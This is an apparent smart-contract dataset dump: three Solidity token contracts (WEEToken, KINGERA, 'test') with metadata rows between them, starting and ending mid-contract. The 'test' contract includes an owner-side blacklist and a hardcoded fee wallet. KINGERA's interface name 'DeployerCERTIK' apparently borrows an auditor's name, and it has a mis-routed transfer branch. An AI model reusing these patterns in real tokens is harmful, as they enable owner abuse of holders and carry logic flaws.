function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
pragma experimental ABIEncoderV2;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath#mul: OVERFLOW");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, "SafeMath#div: DIVISION_BY_ZERO");
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath#sub: UNDERFLOW");
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath#add: OVERFLOW");
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, "SafeMath#mod: DIVISION_BY_ZERO");
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success,) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target,
bytes memory data,
string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
function verifyCallResult(bool success,
bytes memory returndata,
string memory errorMessage) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract WEEToken is Context, ITRC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
string private _name = 'weetoken';
string private _symbol = 'WEE';
uint8 private _decimals = 6;
uint256 private _totalSupply = 2022 * 10**uint256(_decimals);
address private _burnPool = address(0);
address private _fundAddress;
uint256 public _burnFee = 0;
uint256 private _previousBurnFee = _burnFee;
uint256 public _liquidityFee = 0;
uint256 private _previousLiquidityFee = _liquidityFee;
uint256 public _fundFee = 0;
uint256 private _previousFundFee = _fundFee;
uint256 public MAX_STOP_FEE_TOTAL = 2022 * 10**uint256(_decimals);
mapping(address => bool) private _isExcludedFromFee;
// 5
uint256 private maxBuy= 3 * 10**6;
uint256 private maxTxAmount = 3 * 10**6;
uint256 private maxHavAmount = 3 * 10**6;
uint256 private _burnFeeTotal;
uint256 private _liquidityFeeTotal;
uint256 private _fundFeeTotal;
bool private inSwapAndLiquify = false;
bool public swapAndLiquifyEnabled = true;
address public _exchangePool;
uint256 public constant delay = 1 minutes;
event SwapAndLiquifyEnabledUpdated(bool enabled);
event SwapAndLiquify(uint256 tokensSwapped,
uint256 trxReceived,
uint256 tokensIntoLiqudity);
event InitLiquidity(uint256 tokensAmount,
uint256 trxAmount,
uint256 liqudityAmount);
modifier lockTheSwap {
inSwapAndLiquify = true;
_;
inSwapAndLiquify = false;
}
constructor (address fundAddress) public {
_fundAddress = fundAddress;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_balances[_msgSender()] = _totalSupply;
emit Transfer(address(0), _msgSender(), _totalSupply);
}
receive () external payable {}
function name() public view virtual returns (string memory) {
return _name;
}
function symbol() public view virtual returns (string memory) {
return _symbol;
}
function decimals() public view virtual returns (uint8) {
return _decimals;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner {
swapAndLiquifyEnabled = _enabled;
emit SwapAndLiquifyEnabledUpdated(_enabled);
}
function setMaxStopFeeTotal(uint256 total) public onlyOwner {
MAX_STOP_FEE_TOTAL = total;
restoreAllFee();
}
function excludeFromFee(address account) public onlyOwner {
_isExcludedFromFee[account] = true;
}
function includeInFee(address account) public onlyOwner {
_isExcludedFromFee[account] = false;
}
function setExchangePool(address exchangePool) public onlyOwner {
_exchangePool = exchangePool;
}
function totalBurnFee() public view returns (uint256) {
return _burnFeeTotal;
}
function totalFundFee() public view returns (uint256) {
return _fundFeeTotal;
}
function totalLiquidityFee() public view returns (uint256) {
return _liquidityFeeTotal;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
if(Address.isContract(sender)&&!_isExcludedFromFee[sender]&&!_isExcludedFromFee[recipient]){
require(amount<=maxBuy);
}
if (_totalSupply <= MAX_STOP_FEE_TOTAL) {
removeAllFee();
_transferStandard(sender, recipient, amount);
} else {
if(_isExcludedFromFee[sender] ||
_isExcludedFromFee[recipient] ||
recipient == _exchangePool||(!Address.isContract(sender)&&!Address.isContract(recipient))) {
removeAllFee();
}
_transferStandard(sender, recipient, amount);
if(_isExcludedFromFee[sender] ||
_isExcludedFromFee[recipient] ||
recipient == _exchangePool) {
restoreAllFee();
}
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 tTransferAmount, uint256 tBurn, uint256 tLiquidity, uint256 tFund) = _getValues(tAmount);
_balances[sender] = _balances[sender].sub(tAmount);
_balances[recipient] = _balances[recipient].add(tTransferAmount);
if(!_isExcludedFromFee[sender] &&
!_isExcludedFromFee[recipient] &&
recipient != _exchangePool) {
_balances[_exchangePool] = _balances[_exchangePool].add(tLiquidity);
_liquidityFeeTotal = _liquidityFeeTotal.add(tLiquidity);
_balances[_fundAddress] = _balances[_fundAddress].add(tFund);
_fundFeeTotal = _fundFeeTotal.add(tFund);
_totalSupply = _totalSupply.sub(tBurn);
_burnFeeTotal = _burnFeeTotal.add(tBurn);
emit Transfer(sender, _exchangePool, tLiquidity);
emit Transfer(sender, _fundAddress, tFund);
emit Transfer(sender, _burnPool, tBurn);
}
emit Transfer(sender, recipient, tTransferAmount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function calculateBurnFee(uint256 _amount) private view returns (uint256) {
return _amount.mul(_burnFee).div(10**2);
}
function calculateLiquidityFee(uint256 _amount) private view returns (uint256) {
return _amount.mul(_liquidityFee).div(10 ** 2);
}
function calculateFundFee(uint256 _amount) private view returns (uint256) {
return _amount.mul(_fundFee).div(10 ** 2);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tBurn, uint256 tLiquidity, uint256 tFund) = _getTValues(tAmount);
return (tTransferAmount, tBurn, tLiquidity, tFund);
}
function _getTValues(uint256 tAmount) private view returns (uint256, uint256,uint256, uint256) {
uint256 tBurn = calculateBurnFee(tAmount);
uint256 tLiquidity = calculateLiquidityFee(tAmount);
uint256 tFund = calculateFundFee(tAmount);
uint256 tTransferAmount = tAmount.sub(tBurn).sub(tLiquidity).sub(tFund);
return (tTransferAmount, tBurn, tLiquidity, tFund);
}
function removeAllFee() private {
if(_liquidityFee == 0 && _burnFee == 0 && _fundFee == 0) return;
_previousLiquidityFee = _liquidityFee;
_previousBurnFee = _burnFee;
_previousFundFee = _fundFee;
_liquidityFee = 0;
_burnFee = 0;
_fundFee = 0;
}
function restoreAllFee() private {
_liquidityFee = _previousLiquidityFee;
_burnFee = _previousBurnFee;
_fundFee = _previousFundFee;
}
}
| 300,303 | 14,092 |
12f10989ef2e1fb4ccdefa67ebf1d52c003278a2c5340f00afc52e65fa8cfbfe
| 18,827 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/a0/a0F324110e3feACa49965211f5737F7cfA0EB513_KINGERA.sol
| 4,187 | 15,796 |
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface DeployerCERTIK {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract KINGERA is Context, DeployerCERTIK, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _allTotalSupply = 100000000000 * 10**6 * 10**9;
uint256 private _rTotalSupply = (MAX - (MAX % _allTotalSupply));
uint256 private _tFeeTotal;
string private _name = 'KINGERA';
string private _symbol = 'KINGERA';
uint8 private _decimals = 9;
constructor () {
_rOwned[_msgSender()] = _rTotalSupply;
emit Transfer(address(0), _msgSender(), _allTotalSupply);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _allTotalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function reflect(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotalSupply = _rTotalSupply.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _allTotalSupply, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotalSupply, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(!_isExcluded[account], "Account is not excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is not excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotalSupply = _rTotalSupply.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee) = _getTValues(tAmount);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee);
}
function _getTValues(uint256 tAmount) private pure returns (uint256, uint256) {
uint256 tFee = tAmount.div(100).mul(12);
uint256 tTransferAmount = tAmount.sub(tFee);
return (tTransferAmount, tFee);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotalSupply;
uint256 tSupply = _allTotalSupply;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotalSupply, _allTotalSupply);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotalSupply.div(_allTotalSupply)) return (_rTotalSupply, _allTotalSupply);
return (rSupply, tSupply);
}
}
| 88,372 | 14,093 |
1fda14390d1da9347f5da65eae0de180bf1cc923e54b68ce1e2ac8a4da046b60
| 13,966 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/bd/bd35a191aaf215771012bb2cb0277ee0c84ec385_test.sol
| 3,731 | 13,369 |
pragma solidity ^0.8.4;
// SPDX-License-Identifier: UNLICENSED
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract test is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 100000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet;
string private constant _name = "test";
string private constant _symbol = "test";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
uint256 private _maxWalletSize = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet = payable(0x19492bce8c9859a556Be5FF0e0bce14bfa77afD7);
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_feeAddr1 = 0;
_feeAddr2 = 5;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 0;
_feeAddr2 = 5;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount,
0,
path,
address(this),
block.timestamp);
}
function removeLimits() external onlyOwner{
_maxTxAmount = _tTotal;
_maxWalletSize = _tTotal;
}
function changeMaxTxAmount(uint256 percentage) external onlyOwner{
require(percentage>0);
_maxTxAmount = _tTotal.mul(percentage).div(100);
}
